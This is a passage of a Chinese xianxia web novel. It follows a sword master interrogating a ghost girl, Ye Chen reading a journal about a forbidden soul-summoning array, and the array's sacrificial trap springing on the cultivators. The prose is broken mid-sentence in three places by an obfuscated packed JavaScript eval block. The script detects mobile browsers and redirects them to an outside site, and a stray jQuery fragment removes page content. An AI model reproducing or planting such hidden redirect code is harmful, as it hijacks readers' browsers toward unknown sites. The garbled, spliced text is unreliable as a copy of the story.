女孩仰起素白小巧的脸,眼瞳漆黑一片,先前的一派纯真仿佛只是旁人的幻觉,既然被戳破,她也懒得再装,摇摇头:“不可以哦,你们不可以吵醒我哥哥。” 她歪头打量一阵眼前两人,叹气:“我真的不想打架的,我哥哥说,小孩子打架不好,我为了当他眼里的好孩子,已经很久没打过架了。” “所以你们听话一点,不要打架,也不能去灵山,会吵醒他的。”女孩眨眨眼,又恢复成那副灵动可爱的模样,好声好气地同洗霜商量,“反正你们也是来找佛宝的,我可以带你们去找那个,好不好?” 洗霜不为所动。 女孩就只好先撕下一块裙边,把怀里几串糖葫芦整整齐齐兜好,叹息:“好吧,可惜了,我是真的挺喜欢你们的,之前那两个人长得不如你好看,也不会给我捡糖葫芦,但为了不让他们去灵山,我还是带他们去找佛宝了。” 女孩叹完这口气,脸上的笑容戏法般消失不见,眼瞳抬起,呈现出深渊古潭般的幽黑静谧,漾出一圈圈水波纹,望着她的眼睛,便如直视深渊。 不知从何时起,季知年发现身边川流不息的行人停了下来,无数双眼睛从四面八方射向他和洗霜,每个人眼中都流淌着死寂般的沉默,仿若不会说话的活死人,女孩不知何时已经站在理他们很远的位置,莲藕似的小手从衣袖中伸出,与她冷酷无比的声音极不相称。 “杀了他们。” “哦,等等。”女孩拿出一根糖葫芦,很珍惜地舔了舔,脸上出现餍足的神情,才说完后半句,“留个全尸,毕竟......他给我捡了糖葫芦。” 19. 十九 叶琛皱着眉听洗霜说完他们方才的遭遇,神色微沉,开口第一句并不是问那女孩如何,而是道:“你......是不是受伤了?” 她还是忘不掉方才那一道沉闷入肉的声响,心下犹疑,又觉得洗霜应当不会这么容易被伤到。 但这也说不准,叶琛知道洗霜一直不爱说话,高兴不说,生气也不说,只能通过周围的温度猜他的心思,叶琛觉得,就算洗霜真受伤了,按他的性子,多半也不会直白说出来。 但这次季知年答得很快:“不是的叶姑娘,那个......受伤的是我,但是剑首他确实也......” 季知年看了一眼身侧的人,神色犹豫,不知道该怎么说。 天色又暗了下来,洗霜半张脸隐在黑暗中,露出的部分肌肤冷白,眼皮半耷,浅淡的瞳孔映着雪色,透出不明觉厉的锋锐。 这本该是副白璧无瑕的好相貌,可此时眼下却泛起无数道树桠分叉的殷红纹路,像远古时代某种狰狞可怖的图腾。 洗霜眼睑半垂,声音散漫,如风雪夜彻夜赶路的旅人:“没什么,打架打累了。” 另一边传来叶琛的声音,她似乎顿了下,在确认洗霜所言的真实性,而后道:“那你多休息一会儿,我们这边也没什么事,挺平静的,不急在一时半刻。” 洗霜“嗯”了一声,虎口无意识摩挲剑柄,声线又恢复成从前的清冷:“在灵山等我,不要到处乱跑,你记得你现在是筑境。” 他顿了顿,眉尖一蹙,似乎想起某些不愉快的往事:“我不希望到了灵山,看到你又有哪里缺了零件。” 叶琛轻轻“啊”了一声,挠了挠头,只好又“嗯”了一声。 灵剑溃散成零散光点,洗霜侧目看了季知年一眼,眼皮微掀,对方马上像拉拉链一样严丝合缝地把嘴巴缝上,他能感觉到这位剑首比之前更冷了,心情似乎也不太好。 季知年眨眨眼,心想这位剑首虽然不爱说话,看起来特冷酷,但其实人挺好,方才他好几次差点交代在那女孩手里,都是被一柄灵剑从鬼门关挑了回来。 妖鬼根本近不了他的身,若不是季知年在此,方才的打斗可能还会结束得更快些。 季知年斟酌着言辞开口:“剑首,你的脸......” “不碍事。”洗霜找了片干燥的落叶堆坐下,整个人隐在溶溶夜色中,脚边亮着篝火,衣摆暗纹如汩汩流动的泉水,他挑开这层水幕,底下腕骨清瘦嶙峋。 火光映照其上,季知年讶异道:“这......为何连手上都有。” 衣片之下,走势崎岖的殷红纹路遍布每一寸肌肤,凝神细看,竟如从血肉中生长而出的霜花,狰狞、妖异,却有种难以言喻的美感。 季知年看着他撩开衣片,修长冷白的指骨抵在腕处,须臾,皮肤上便泛起一层层冰渣,妖异的殷红纹路缓慢褪去,细小的冰凌落在地上,声如碎玉。 这不是最好的处理办法,但一定是最省时的办法。 洗霜眉头终于舒展开一些,站起身,理了理衣摆上的褶皱,走到一颗古木前,掀了下眼皮:“现在你可以说了,你哥哥在哪,叫什么,还有......这些食魂鬼,哪来的。” 洗霜在“食魂鬼”三个字上加重了语气。 女孩被绑在树上,神色不见萎靡,把玩自己胖乎乎的手指,并不看洗霜:“我不知道,你杀了我也没用。” “你不知道,那韩子仪应该知道。”洗霜倏地抬眼,语气冷漠得像寒冬腊月化不开的冰盖,“他根本不记得自己有个妹妹,心里只有灵山的故人,为此不惜以命换命去招魂,你说,我现在把你带到他面前,他会不会认你?” 女孩手指霎时绞紧,缓了缓,道:“他......不会认我,他根本不记得我,你就算在他面前杀了我,也没用的。” “小妹妹,我们剑首也没说要杀你啊,小小年纪怎么这么消极。”季知年走过来,一脸温厚纯良,很客气地笑了下,“我们只是想知道你和你哥哥为什么会被分隔在两处,佛子的秘境里又怎么会有这么多妖鬼,你要是实在不愿意说......我们也不会逼你。” “只是会带你去和你哥哥团聚而已,”季知年一本正经地补充道,“妹妹流落在外,做兄长的没有不担心的。” 和洗霜相比,季知年这番话可谓如沐春风,却让女孩难以忍受地皱起眉,双眼紧闭:“我不能和我哥哥见面,这也是为你们着想,否则秘境会立刻坍塌。” “哦?”季知年眨了眨眼。 秘境有两种解法,一种是顺从秘境内部的自有规则,自然能顺畅地出去;还有一种,则是秘境被强行破解或者内部规则崩塌,这种解法对修士有着极高的要求,稍有不慎,便会打出团灭的结局。 女孩说的秘境坍塌,无疑是后者。 季知年原本以为这是佛子的秘境,应当也和那位传闻中的佛圣一般温和敦厚,是以根本没想到还有坍塌的可能。 洗霜喉结微动,语气寒凉:“我也可以把你带过去,先开结界,再让你们二人相认,结界坍塌的速度绝对比秘境慢。” 女孩哑然,望着眼前周身凛然不可侵犯的白衣修士,心里咯噔一下。 她忽然有些后悔先前的莽撞了,如果不直接操控那些妖鬼,而是慢慢和眼前这人周旋,兴许还不会这么快被逼到这份上,她不能和那人见面,她不能......让他想起所有的事情。 她深吸一口气,抬起眼:“我可以回答你这些问题,但你要答应我——一定不能让他完成招魂。” 洗霜抬睫,目光有些微妙——那神情好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524216|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说,如今是她被绑在树上,也是她不得不被威胁,她还有什么资格来谈条件? 女孩看出这一点,假模假样地笑了下:“仙君,我是没资格和您谈条件,但您肯定有在意的人在灵山,不然不会一定要去那里,而招魂一旦完成,不光我们所有妖鬼会沦为阵法的饲料,您和您那一位,也在劫难逃。” ...... 灵山。 叶琛重新套上剑鞘,发觉乐知目光微妙地看过来,笑了下:“和你们用的传音玉牌是一样的,只是我这个,可能更大些。” 可不止更大些,乐知心想,她的玉牌,可不会半夜自动传音叫主人不要乱跑。 想到这里,她又恍惚间想起数年前偶然碰见那位剑首的情形,那时她带着楼中弟子在外历练,路上碰见一只狂化的灵兽,身边的师弟师妹年纪尚小,被灵兽冲撞得四散开来,乐知一边捡人一边在心里感叹,这次恐怕要折损不少弟子,最后却发现这些人都好端端地在一处山洞里装鹌鹑。 灵兽山一般的躯体,断成两半,切口利落、锋锐。 乐知愣了下,当即感知到灵力激烈涌动的方向,望去,只看到一位白衣修士寥落的背影,剑尖流淌出一地滚烫的血,霜白一片。 那只灵兽,即使是乐知本人处理,也得花上数日的功夫,那人却一刻钟不到就干脆利落地解决了,乐知讶异了许久,后来和褚师兄提起这事,他才笑吟吟地回答她,那是万剑阁的剑首,终年不出苍云山,偶尔下山似乎也是在找什么东西,鲜少有人能碰见他。 她也确实自那日惊鸿一瞥后,再未见过这人,心里一直以为这位剑首应当也是孤高之士,寻常人难以得之青眼,结果昨日就在眼前的筑境女修手中看到了这位剑首的剑。 今夜竟然还听到那位剑首如此慈爱地嘱咐这姑娘,不要乱跑,在灵山等他。 乐知嘴角抽了抽,今夜第一次主动和叶琛讲话:“叶姑娘,你那位剑首,平常对阁中弟子,都如此关心吗?” 叶琛愣了下,实话实说:“我不知道,但应当也不错吧。” 虽然洗霜确实大多时候冷冰冰的,但仔细想来,叶琛确实挑不出他身上除了不近人情外的其他毛病。 乐知皱起眉,目光落在她腰侧的剑上:“你不是万剑阁的弟子?” “嗯......”叶琛眨眨眼,考虑了下,回答:“我和剑首结过剑契,这算万剑阁的弟子吗?” 乐知哑然,目光上上下下巡视了叶琛好几遍,仿佛要在她脸上看出花来,不可置信:“你?你和万剑阁剑首?结契?” 和一个刚破筑境的修士结契?他疯了吧? “是剑契。”叶琛点点头,认真地回答,目如点漆,鲜妍灵动,纠正她,“不是结契,结契是道侣之间的道契,你说错了。” 20. 二十 乐知顿时觉得无比荒谬,她的意思当然不是结道契,那位剑首也不可能和人族修士结道契,这就像乐知很珍视自己的琴,但也不可能哪一天和自己的琴灵结契一样。 灵修感悟天地灵蕴而生,个个眼高于顶,乐知已至灵境,曾尝试触碰天音楼束之高阁的琴圣遗物——狩心琴,却在三步之外就被“铮”地一声弦响赶了出去。 后来褚师兄帮着打圆场,说:“我们这位前辈大概脾气不好,对琴修格外挑剔,你找其他琴灵试试呢?” 但天音楼除了狩心琴外,并无其他琴修出灵身,乐知便觉得是自己还不够格,那日碰见万剑阁剑首,下意识觉得这位也和自家前辈一样眼高于顶,今日却大跌眼镜! 她望着叶琛,满是不解——她凭什么啊?! 乐知这句话还没问出口,叶琛背后,暗影幢幢的群山轮廓中便连滚带爬跑出来一个熟悉的身影,衣衫挂满了草叶露珠,怀里抱着一个蓝布包袱,随着他凌乱的脚步上下起伏,急匆匆跑到乐知跟前,甚至摔了个驴打滚。 包袱本来只是松松系着,这一摔,里面东西全部滚了出来——几个不知用处的瓷瓶,一只狼毫,还有一本纸张泛黄的札记。 这札记摔到叶琛面前,书页翻开,正好翻到中间某一页,用的是千年前的文字,间或夹杂着一些阵法符号,宋以安凑过来,看了半天,没看懂:“上面写的什么啊?” 叶琛皱着眉,她倒是因为过去某些经历,能看懂一大半,但看懂得越多,就越心惊,沉着声念出来:“我研究招魂一术已逾千年,千年来昼夜难安,我一阖上眼,就看到那只妖鬼朝我扑来,本来我是该死的,但洛姑娘替我而死,我没办法不夜夜都想着她。” 这是韩子仪的笔迹,看墨水颜色,还不太旧。 “招魂一术为师门所不容,但师门如今只剩下我一个,倒也不惧师长因我蒙羞。招魂以命换命,我拿我的命换给洛姑娘,也算有始有终,不欠她什么。” “本来是这样打算的,但补全这个阵法时,我才发现此术为师门不容的原因——招魂需以千人性命,数位灵境修士为祭,以告天地,方可换命。我犹豫了,大概就像洛姑娘曾说的一样,我是个懦弱的人,一旦需要做出选择,就缩进自己的龟壳里。” “我不知道怎么选,这事成了我的心魔,我又想起那日血溅在洛婉半张脸上,她指着我的鼻子,说——韩子仪,你只是不敢面对真实的自己,你同我一样不是什么好东西,但你又要脸面,所以摇摆不定。” “我一阖上眼,就能看到洛婉,她半边身子被妖鬼撕碎,我闻着她身上传来的血腥味,感觉我也要变成吃人的妖鬼了。这个时候,佛子来了。” “他遏制了我愈演愈裂的头痛,我很多年没见他了,他果然还是如当年一样年轻,我却已经老了。佛子那日问我要不要同他去做和尚,转修佛法,我没说话。” “他就只好叹了口气,问我何苦,我想这也不是苦,是我心甘情愿,我欠了洛姑娘的,就该还她,不然就算做了和尚天天念经,一闭上眼,眼前还是她。” “于是佛子就教了我个办法,他给了我一块舍利,能指引我找到洛姑娘转世,他那日同我说,招魂当然是还恩,可若是护一人生生世世平安喜乐,难道就不是还恩吗?” “我被佛子打动了,舍利指引下,我找到的第一个转世叫洛晚,是屠户的女儿,和洛姑娘很不一样,洛姑娘出生闺秀,娇弱极了,她的转世却能挥舞着剁骨刀问我买几斤肉。我就在她家隔壁住下来,偶尔用法术替此地赶走寻衅的地痞,我以为等洛晚及笄嫁人,生一堆孩子,然后老到路都走不动了,我就可以去找她的下一世,如此百年又百年,直到我和她恩怨两清。” “但洛晚在十五岁那年病逝。” “千年前撕碎她的是食魂鬼,她的魂魄被那只妖鬼吞了一部分,即使我后来把它困在阵中绞杀了千百遍,吞掉的魂魄也不能再拼回去。洛晚魂魄有缺,世世是早夭的命格。” “我这时才明白佛子给我舍利的用意,不由大笑失声,不愧是佛圣,他怕我真的招魂,给人间添一件祸事;又怕我心魔反噬从此成了魔修。既不能劝我做和尚在他眼皮底下看着,就干脆给我安排了一件无法拒绝的差事——” “我循着舍利找到洛晚的下一世,用法阵聚拢逸散的魂魄碎片,偶尔能找到一些合适的,就给她补回去,如此百年又百年,洛晚转生到灵山脚下一处农户家中时,终于能活过六十岁。” “我觉得这是个好结局了,人间灵气日渐稀薄,我的境界不断跌落,想来也活不了太久,但应当能看到这一世洛姑娘找到心仪的郎君,一世平安喜乐,我欠洛婉一条命,如此还她,也不知做不做数。” “可当我再次回到灵山时,洛晚死了。” “不光死了,还是魂魄撕裂的死法,我空茫茫地站在灵山脚下,不知道该怎么办,原地画出锁灵阵,却半点魂魄聚不起来。” “抬头,看见灵山修士的血从山顶流到山脚,我忽然想起一件事——我手上有个千年前就被补全的阵法,以千人性命为祭,是为招魂。” 从前到后,墨迹逐渐变浓,好像记录者再也控制不住飘荡的心绪,几个字斜斜横出一道,洇湿了黄纸。 宋以安听着叶琛转述,眉头越皱越紧:“韩前辈骗了我们?他根本什么都记得!” “不一定。”叶琛一页页翻下来,声音清亮,“如果一个人什么都记得,是没必要把这些东西都写在纸上的。而且你看这些墨迹,还很新,粗细不一,说明不是一次性写完的。” “而且,这真的是韩子仪的札记吗?”叶琛眸光一转,望向刚从地上爬起来的天音楼弟子,他衣上洇出道道血迹,乐知正给他脱衣服上药。 乐知把外衣披在这弟子身上,平静望过来:“是我让他去取的,我本意是让他用琴音催眠山上的人,翻翻他们身上有没有特殊物品,这样连着包袱带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女孩回忆了下,答:“嗯,浑身冒金光,长得像浮屠塔供的佛像。” 她说着,又抬头看了洗霜一眼,评价:“不过,没你好看。” 季知年“嘶”了一声,扯到了牙似的:“你说的不会是佛圣吧,浮屠塔的佛像可都是照着佛圣雕的!” 女孩无所谓地点头:“你说是,那就是吧。” 季知年顿觉牙酸,又问道:“你不是说你哥哥不让你打架吗?你方才怎么还要杀了我们。” 闻言,女孩打量傻子一样仔细打量了季知年一阵,倏尔露出一个极为纯真的笑容:“小哥哥,又不是我亲自动手,当然不算打架呀!” 啊?还能这样算的?! 季知年无言片刻,只好道:“那你叫什么?” 女孩眨眨眼,半天才回答这个问题,仿佛前面那些问题和这个相比,都是玩闹。 “洛晚。” 她回答道。 该问的都问得差不多了,季知年叹了口气,很自然地看向洗霜:“剑首,这怎么办,如果真如她所说,叶姑娘和我师妹,恐怕都危险极了。” 洗霜没什么表情,抬眼望向远处起起伏伏的山脉,夜色沉沉,群山仿佛潜伏在黑暗中的怪物,尖利的獠爪随时可能伸出,洞穿行人咽喉。 他垂下眼,嗓音清淡:“去灵山。” 21. 二十一 叶琛用木棍拨开层层叠叠的灌木丛,山中湿气重,外衣很快湿透了,穿在身上像粘腻的人皮,先前从山上跑下来的小弟子走在最前面带路,时不时就要被突然蹿出的野兔吓一跳。 乐知这次只带了几个修为高的师妹上山,和叶琛两人走在一块,见叶琛拿根木棍在前面捅啊捅,忍无可忍:“叶道友,你是剑修吧,拔剑在地上一划,前面的草木都清理干净了,何必拿根木棍捅来捅去?” 叶琛抬眼,无辜道:“可是这样会弄脏我的剑的。” 叶琛不敢想象,之后把剑还给洗霜,弄得脏兮兮的,他本来就很冷的脸还会有多冷。 乐知默然,倏而从她那根木棍上移开了眼,在心中默念数遍琴谱,她今日之前原本以为自己已经足够修身养性,却没想到在一个筑境修士这里连续破防两次。 第一次是责怪万剑阁剑首竟然随便把剑给了小辈,不是说他们剑修的剑,跟自己老婆似的,别人碰一下就要急眼吗?怎么还能当糖豆送的?? 第二次是百思不得其解,这筑境女修是怎么拿下万剑阁剑首的?难道是靠脸吗? 乐知没忍住多看了她几眼,正好撞上叶琛望过来的视线,乌黑眼珠晶莹透亮,乐知与她对视一瞬,马上移开了眼。 好像、确实挺好看的。 “乐师姐,就是这里了!” 最前面的小弟子停下脚步,这是他之前上山摸走韩子仪包袱的地方,此时却空无一人,他讶异道:“他们之前明明还在这里的!韩子仪和那几个修士在这里休息,我吹了一曲安眠,好不容易才拿到他们身上的东西。” 叶琛拿木棍拨开一旁的草叶,凝神细看:“他们往这边走了。” 潮湿的泥土上,印了几行浅浅的足迹。 这不是个好征兆,韩子仪在发现自己的东西被顺走后,并没有马上去捉这个弟子,反而任由他跑下山,不理不睬。好像就算他的预谋被发现,他也满不在乎。 乐知皱起眉,对随她上来的其他人道:“你们马上下山,我一个人去那边看看。” 一个师妹捉着她的手臂,不愿意:“师姐,被困的都是天音楼的人,哪能让你一个人......” 乐知轻轻摇头。 其余人只好含恨看着她和叶琛她们继续往前走。 山路很长,很黑,乐知指尖点燃一簇灵火,过了很久,才看到眼前出现淡淡的月光。 前面也传来熟悉的少年人嗓音。 “我说,你们都一把老骨头了,就别折腾了。唉,被绑在这里不好吗,天为盖,地为席——哎,师姐你来救我啦!!” 乐知眉心一跳,抽出腰间灵刃,一刀一刀割开褚良玉身上的缚灵索,褚良玉被吊了一夜,刚被放下来就得意忘形:“我就说我师姐一定不会不管我的!” “你是我师弟,今夜不管我哪个师弟师妹困在这里,我都不会不管你们的。”乐知叹了口气,开始救其他被吊起来的天音楼弟子。 这些人被缚灵索吊在不同的方位,地上拿朱砂画着叶琛看不太懂的符文,她方才从韩子仪的手札里只看到“招魂”一阵,便觉得地上应当就是“招魂”了。 可是阵法已经画好,阵法师又在哪里呢? 难不成韩子仪就将“招魂”如此随意地丢在路边,祭品也腊肉一般挂成一串,自己却只初一十五来看一眼腊肉有没有风干? 叶琛转瞬又想到了另一个问题——先前重伤韩子仪,吸干一个灵境修士血肉的剑修,杀人的标准到底是什么,为何乐知一行人在灵山待了五日,她也待了两日,却从未和那人正面碰上。 正想着,地面忽然传来剧烈的震颤,好像海面迎头打来的大浪,叶琛脚下猛地一沉,顷刻就被掀翻到几丈之外,彻底脱离了阵法范畴。 她半边身子摔到灌木丛里,枝蔓的尖刺挂破外衣,叶琛背上转瞬就多出几个大洞,一道长条状的灼热蔓延开来,横贯后脊,黑色外衣顿时洇出几团深重墨痕。 不远处,朱砂画成的阵法好似活了过来,每一根线条都开始扭动,它们不再是静止的图画,而是从地面钻出的一根根触手,以雷霆万钧之势袭向天音楼弟子,线条有一个好处——柔软,能屈能伸。叶琛看见一条粗壮的红色线条从地面钻出,迅速吊起一个身上缚灵索刚被斩断的修士,另一根线条马上随之而上,蛇一般柔软钻进那人后脊,一会儿,那弟子脸色就灰败下去。 他身上的天音铃掉下来,摔得粉碎。 “乐师姐!这是个骗局!我们被骗了!” 乐知救下的天音楼弟子一个接一个被绑起来,另一边,跟了韩子仪一路的青衣修士身上缚灵索还没解,又被陡然活过来的阵法盯上,数根滑不溜手的红蛇围着他们吐信,青衣人施展不开,又被困在阵法中,骂声连连。 谁也想不到,韩子仪札记里的“祭品”,竟是这种祭法! 叶琛皱着眉,朝乐知那边道:“快退出来!” 一眼望去,阵中还没有被吊起来的,竟只有乐知、宋以安、褚良玉三人。 乐知神色冷厉,唇边泛起一抹嫣红,手边天音铃急急催响,铜舌撞击铃壁,声声透骨,愈发急促,音色水波般在空气中荡开,每一道波纹都尖利如刃。 叶琛只好捂紧耳朵,后退数步,地面震颤越来越厉害,叶琛感觉自己就像一把下锅的配菜,随着锅铲四下翻飞,她将木棍砸入松软的泥土,自己勉强靠着木棍扎下根来,抬眼,却立马有一条粗壮的触手朝她卷来! 此时已经来不及拔剑,叶琛下意识扣紧袖中鱼线,指节发白,细线划破幽深夜色,凝成一道极亮的光,削去触手前端,仿若蛇头落地,碎成星星点点的朱砂。 触手在半空中凝滞不动。 “对客人该礼貌些。” 一只薄而瘦削的手掌闲闲捉住那只触手,那蛇一样阴狠的物什便如宠物般乖顺下来,叶琛回头,对上韩子仪平静的眼。 “佛子把我关在这太久了,我闲极无聊,做了个新阵法,你看如何?” 韩子仪道。 他根本不在乎正在同阵法搏斗的几人,语气平和得像在给叶琛看自己的新宠物。 或者说,叶琛在他眼里,和小宠物也无甚分别。 周遭混乱无比,韩子仪所处之处却如风暴眼,空气在此凝滞、不再流动。 微风翻过衣袂,叶琛微微仰头,看到他衣角有烧焦的痕迹,夹层画着一些潦草的咒文,顿时明白了一件事——这人身上背着件王八甲,不扒了这层甲,她根本没办法制服他! 况且就算她能拿下他,那边的阵法也已经开始运转,看韩子仪操控阵法的本事,谁知道她脚下是不是正踩着他的另一个阵法?! 叶琛心里难得生起一点后知后觉的怕,就看到韩子仪望着她背上衣衫挂出的几个洞,皱起眉:“晚上风大,怎么一个人上来,你的剑也不知道拦一拦你吗。” 他叹了口气,不知道在责怪谁:“我早说过,你那个剑灵,修为是差不多,就是性子太冷了,不会照顾人,剑圣非说......算了,都是从前的事了。” 后半句话模糊在风里,打着旋儿不知道飘向何处。 叶琛一愣,她觉得两人现在算是兵戎相见,按理说不是他抓了她去填阵,就是她和他大打出手。可照如今的情形来看,韩子仪似乎根本不想和她动手? 然而,没等她想明白,又是一阵地动山摇,那阵凄厉的铃声哑了片刻,也没声了。叶琛捂着耳朵的手放下,趁着这个机会跳出几丈远,离开韩子仪后,她迅速拔剑往周身扫了一圈,剑身泛着凝冰似的光泽,照得周身澄澈透亮,才堪堪放下心来。 至少,她现在应该是不在韩子仪的阵法里的。 那阵铃音稍歇,宋以安和天音楼的人都被高高吊起,几个弟子瘫软地躺在地上,面如死人,先前的青衣修士更是被触手们五花大绑捆起来,几根已经从他后脊钻进去,把他吸成了人干。 叶琛远远望着这一幕,忽然明悟,怪不得先前韩子仪明明已经发现这几人对他心怀不轨,却始终隐忍着不作声。敢情是憋到现在打算来个大的! 他们想抓了韩子仪逼问破境法门,韩子仪就要拿他们喂自己的阵! 这称不上歹毒,但也绝称不上仁善。叶琛转头看了韩子仪一眼,一时不知道说什么好。 韩子仪很快注意到叶琛在看他,神色稍霁,朝她招手,语气甚至称得上和蔼:“怎么在那里,来我身边,你这孩子,怎么总是乱跑?” 叶琛思量片刻,朝他笑了下:“韩前辈,我有点害怕你。” 说着害怕,她却往前走了几步:“你把我的同伴都抓了起来,我有点怕,我要是哪一点违背你的心意,岂不是也要被这样吊起来。” 她在脖子上比划了下,吐了吐舌头,俨然一副吊死鬼形容。 韩子仪被逗笑了,轻轻摇头:“只要你别乱跑,等会事情结束,我会送你出去和你的剑灵团聚的。” 他目光落在叶琛手中的剑上,道:“就算看在剑圣和万剑阁的面子上,我不缺你这个祭品。” 叶琛似乎被他说服了,往前迈了几步,却在马上走到韩子仪身边时忽然转身,直直踏入正在运转的阵法。她踏入的那一刻,地上的朱砂突然躁动起来,扭曲成一条条梁柱粗细的红蛇,獠牙暴起,旋即向叶琛扑来! 韩子仪瞬间变色:“停!” 但他离阵法不够近,即使是来自主人的疾呼也很难叫停已经锁死猎物的毒蛇,饶是叶琛反应已经很快,侧身躲过率先向她袭来的毒蛇,阴影处却有后者接踵而至,冰凉的蛇鳞缠上脖颈,瞬间收紧,叶琛呼吸急促,咽喉发出“嗬嗬”的声响,闭着眼,一道雪白剑光出鞘,绕颈而过,转瞬便在她光洁的颈部划出一道血线。 红蛇也随之落地,碎成星星点点的朱砂。 那道剑光顺势划过天际,所经之处,传来整齐的“唰唰”声,几秒钟的功夫,宋以安和天音楼的人已经被齐齐放了下来,叶琛拄着剑,跳出这个诡谲的阵法,才稍微有喘息之机。 她摸着喉咙,勉强睁开一只眼,看看自己方才的成果,又看了眼韩子仪的脸色,心下一沉。 即使叶琛突然反水,韩子仪的神情也没有丝毫变化,他收敛神色,竟然颇为欣赏地朝她点了点头:“不错,就是这样,你生来就是学剑的料子,天底下没有任何一把剑配得上你,何必去学什么医道。” 阵法乱成一团,地上脚印交错,山中不知何时下起淅淅沥沥的小雨,朱砂濡湿,猩红一片。 乐知把几个师弟接连丢出阵外,最后才自己出来,调匀气息,站在叶琛身边,颇意外地看了叶琛一眼。 那一剑旁人或许不晓得,但她作为天音楼的大师姐,是不可能觉察不出的——那绝对不是一个筑境剑修可以参透的剑意。 叶道友,真的只有筑境吗? 但此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“禁术?”韩子仪哈哈大笑,呼啸的山风灌入咽喉,很快就咳出点点猩红,“孩子,谁同你说这是禁术的?佛子么?” 他轻轻摇头,语气笃定,不容置疑:“你不曾经历过我的时代,那时灵气充沛,涌现的修士数量是从前数代之和,修什么的都有,也没什么规矩,哪有禁术之说——再者,禁术,不也是前辈走了捷径,便堵死来路,怕后人效仿吗?” 他话音转蓬般轻轻飘散在风中,山间咒文因此更亮,几欲照亮沉郁夜色,叶琛移开眼,倏地提剑在亮得发瞎的地面划出轻轻一道。 甫一触地,霜寒之气弥散开来,地上瞬间结了一层冰,叶琛侧过脸,低声道:“铃。” 乐知瞬间会意,轻轻甩了下手腕,那迷惑心智的铃声同时响起,叶琛闭绝一窍,提剑便往韩子仪脖颈上递去。 韩子仪怔愣一瞬,铃音入耳,眼前恍惚浮现半张沾染着雨和血的脸,耳边又传来洛婉粘腻湿冷的嗓音—— “韩子仪,你只是不敢承认,你爱上了一个一开始就在算计你的人,你不敢承认自己的真心,便只觉得我是假意。” 洛婉墨黑如水的发贴在耳侧,冰凉的鳞片缠上他手腕、脖颈,韩子仪伸出手,她濡湿的发却如蛇般从他指缝溜走,猩红的舌伸出,在他颈侧划出一道寒凉的剑痕—— 他睁大眼睛,不管不顾,一只手依旧朝前伸去,五指倏地握紧,指缝间只流出冰凉的雨水。 “韩前辈,你走神了。” 叶琛的声音在他耳侧响起。 她握着剑柄,剑锋斜斜抵着他咽喉,划出一道绮丽的血线,韩子仪倏地回神,喉咙发出“嗬嗬”两声,缓缓举起双手。 袖袍滑落,雨水沿着腕骨流到肘部,挂着一层薄薄的皮肉在风中飘荡,韩子仪宽大的道袍下,是一具衰竭多年的躯干。 叶琛不解:“韩前辈,你也知道这是佛子的秘境,秘境里一切都做不得真的,何必呢?” 何必自欺欺人,即使完成招魂,招来的也不会是洛婉了。 况且,有什么执念是百年千年,甚至被佛子抹除记忆都无法消去的呢? 她扫了一眼山间层层叠叠的金色咒文,叹息:“韩前辈,你的好意我心领了,但我不能让你拿我身边的人作为代价,去追求一个虚无缥缈的执念,你有你要守护的东西,我当然也有。” 叶琛收回眼,有些犹豫,韩子仪此时固然受她挟制,但她知道只要剑稍微远离,以他此时的疯魔程度,怕是此地所有人都要给那个洛婉陪葬,但她难道要一直贴身要挟他直到秘境结束吗? 正想着,叶琛手中长剑光华倏地暗淡下来,如拨灭烛芯的蜡,她心下讶异还没上脸,便听到“噼啪”两声,韩子仪指尖点亮了一簇灵焰。 灵焰只需要最微末的灵力,是以韩子仪状态不佳也能勉力维持,焰火照亮叶琛的脸,她眉目间一片茫然之色,韩子仪两指拨开剑锋,手中顷刻亮起一个阵法,缠丝般捆住叶琛手脚,望着她叹气:“这是我要教给你的第一课,永远不要给你的敌人喘息之机。” 叶琛扭动手脚想挣脱这个缚阵,却发现她越动,这阵法缠得越紧,手脚全黏在一块,只有手指头能轻微活动。 她只好仰头看去,发现乐知等人也全被包成一个个蚕茧,只有鼻孔留了个洞出气,视线放低些,山脚处已经飘起纷纷扬扬的雪。 雪? 叶琛微不可觉地眨了眨眼。 22. 二十二 韩子仪并不用亲自动手,便有脚下朱砂卷成一条条粗壮的触手,将茧一个个搬到阵法中心,繁复的金色咒文泉水般汩汩流动,愈发鲜艳。 如饮过血的剑。 叶琛依旧在尝试挣脱束缚,脸涨得通红,韩子仪回头,叹了口气,抬手解除阵法越来越紧的指令。 再紧下去,怕是会直接把人勒死。 他俯视着叶琛,眼瞳呈现出深邃的琥珀色:“你这孩子,怎么这么倔呢。” 叶琛深深喘了口气,抬头:“韩前辈,你也很倔,很少有人会像你这样,抓着一个执念几千年不放的。” 韩子仪轻轻笑了一声,点头:“你说得不错,我是很倔,所以这样不好,你不要学我。” 叶琛没想到这人疯得如此理所当然,脸上愕然,不知怎么又逗笑了对方,韩子仪笑着笑着,就咳出血来,晕染在蓝色道袍上,点点猩红。 叶琛望了他一眼,诚心道:“韩前辈,你看起来,会死得比我早。” 韩子仪颇以为然:“对啊,所以我带着你一起走吧,我本来还觉得你颇有眼缘,想放了你,但现在又觉得,你这样倔,迟早会像我一样疯掉的,还不如跟着我走了,一干二净。” 叶琛脸上又出现难以言喻的神色,就差把“你疯了吗”写在脸上。 韩子仪看了她一阵,却不笑了,他沉吟片刻,目光略过叶琛,滑向群山之间。 半座山,不知何时竟下起纷纷扬扬的大雪,雪水落入山林,顷刻便消融进乌黑的泥中。 